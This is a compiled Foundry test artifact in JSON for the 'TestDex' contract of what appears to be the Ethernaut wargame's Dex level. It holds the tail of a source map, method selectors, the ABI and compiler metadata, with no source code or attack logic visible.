3:36;4411:49;;4483:13;;4570:9;;-1:-1:-1;;;;;4566:58:155;4551:74;;4664:11;;4658:18;4696:15;;;4689:27;;;4777:19;;4523:15;;;4809:24;;;4990:21;;;;4856:2;4938:17;;;4926:30;;4922:39;;;4880:15;;;;5035:1;5049:296;5065:8;5060:3;5057:17;5049:296;;;5171:2;5167:7;5158:6;5150;5146:19;5142:33;5135:5;5128:48;5203:42;5238:6;5227:8;5221:15;5203:42;:::i;:::-;5274:17;;;;5193:52;-1:-1:-1;5317:14:155;;;;5093:1;5084:11;5049:296;;;-1:-1:-1;;;5432:12:155;;;;5368:6;-1:-1:-1;;5397:15:155;;;;4384:1;4377:9;4348:1106;;;-1:-1:-1;5471:6:155;;3746:1737;-1:-1:-1;;;;;;;;;3746:1737:155:o;5488:1609::-;5690:4;5719:2;5759;5748:9;5744:18;5789:2;5778:9;5771:21;5812:6;5847;5841:13;5878:6;5870;5863:22;5904:2;5894:12;;5937:2;5926:9;5922:18;5915:25;;5999:2;5989:6;5986:1;5982:14;5971:9;5967:30;5963:39;6037:2;6029:6;6025:15;6058:1;6068:1000;6082:6;6079:1;6076:13;6068:1000;;;6147:22;;;-1:-1:-1;;6143:36:155;6131:49;;6203:13;;6290:9;;-1:-1:-1;;;;;6286:58:155;6271:74;;6384:11;;6378:18;6416:15;;;6409:27;;;6497:19;;6243:15;;;6529:24;;;6619:21;;;;6664:1;;6587:2;6575:15;;;6678:282;6694:8;6689:3;6686:17;6678:282;;;6775:15;;6792:66;6771:88;6757:103;;6929:17;;;;6722:1;6713:11;;;;;6886:14;;;;6678:282;;;-1:-1:-1;7046:12:155;;;;6983:5;-1:-1:-1;;;7011:15:155;;;;6104:1;6097:9;6068:1000;;;-1:-1:-1;7085:6:155;;5488:1609;-1:-1:-1;;;;;;;;5488:1609:155:o;7102:180::-;7161:6;7214:2;7202:9;7193:7;7189:23;7185:32;7182:52;;;7230:1;7227;7220:12;7182:52;-1:-1:-1;7253:23:155;;7102:180;-1:-1:-1;7102:180:155:o;7989:803::-;8151:4;8180:2;8220;8209:9;8205:18;8250:2;8239:9;8232:21;8273:6;8308;8302:13;8339:6;8331;8324:22;8377:2;8366:9;8362:18;8355:25;;8439:2;8429:6;8426:1;8422:14;8411:9;8407:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19036:277::-;19103:6;19156:2;19144:9;19135:7;19131:23;19127:32;19124:52;;;19172:1;19169;19162:12;19124:52;19204:9;19198:16;19257:5;19250:13;19243:21;19236:5;19233:32;19223:60;;19279:1;19276;19269:12;22691:184;22761:6;22814:2;22802:9;22793:7;22789:23;22785:32;22782:52;;;22830:1;22827;22820:12;22782:52;-1:-1:-1;22853:16:155;;22691:184;-1:-1:-1;22691:184:155:o;22880:125::-;22945:9;;;22966:10;;;22963:36;;;22979:18;;:::i;23192:383::-;23389:2;23378:9;23371:21;23352:4;23415:45;23456:2;23445:9;23441:18;23433:6;23415:45;:::i;:::-;23508:9;23500:6;23496:22;23491:2;23480:9;23476:18;23469:50;23536:33;23562:6;23554;23536:33;:::i;:::-;23528:41;23192:383;-1:-1:-1;;;;;23192:383:155:o;23580:335::-;23659:6;23712:2;23700:9;23691:7;23687:23;23683:32;23680:52;;;23728:1;23725;23718:12;23680:52;23761:9;23755:16;23794:18;23786:6;23783:30;23780:50;;;23826:1;23823;23816:12;23780:50;23849:60;23901:7;23892:6;23881:9;23877:22;23849:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/Dex.t.sol\":\"TestDex\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5g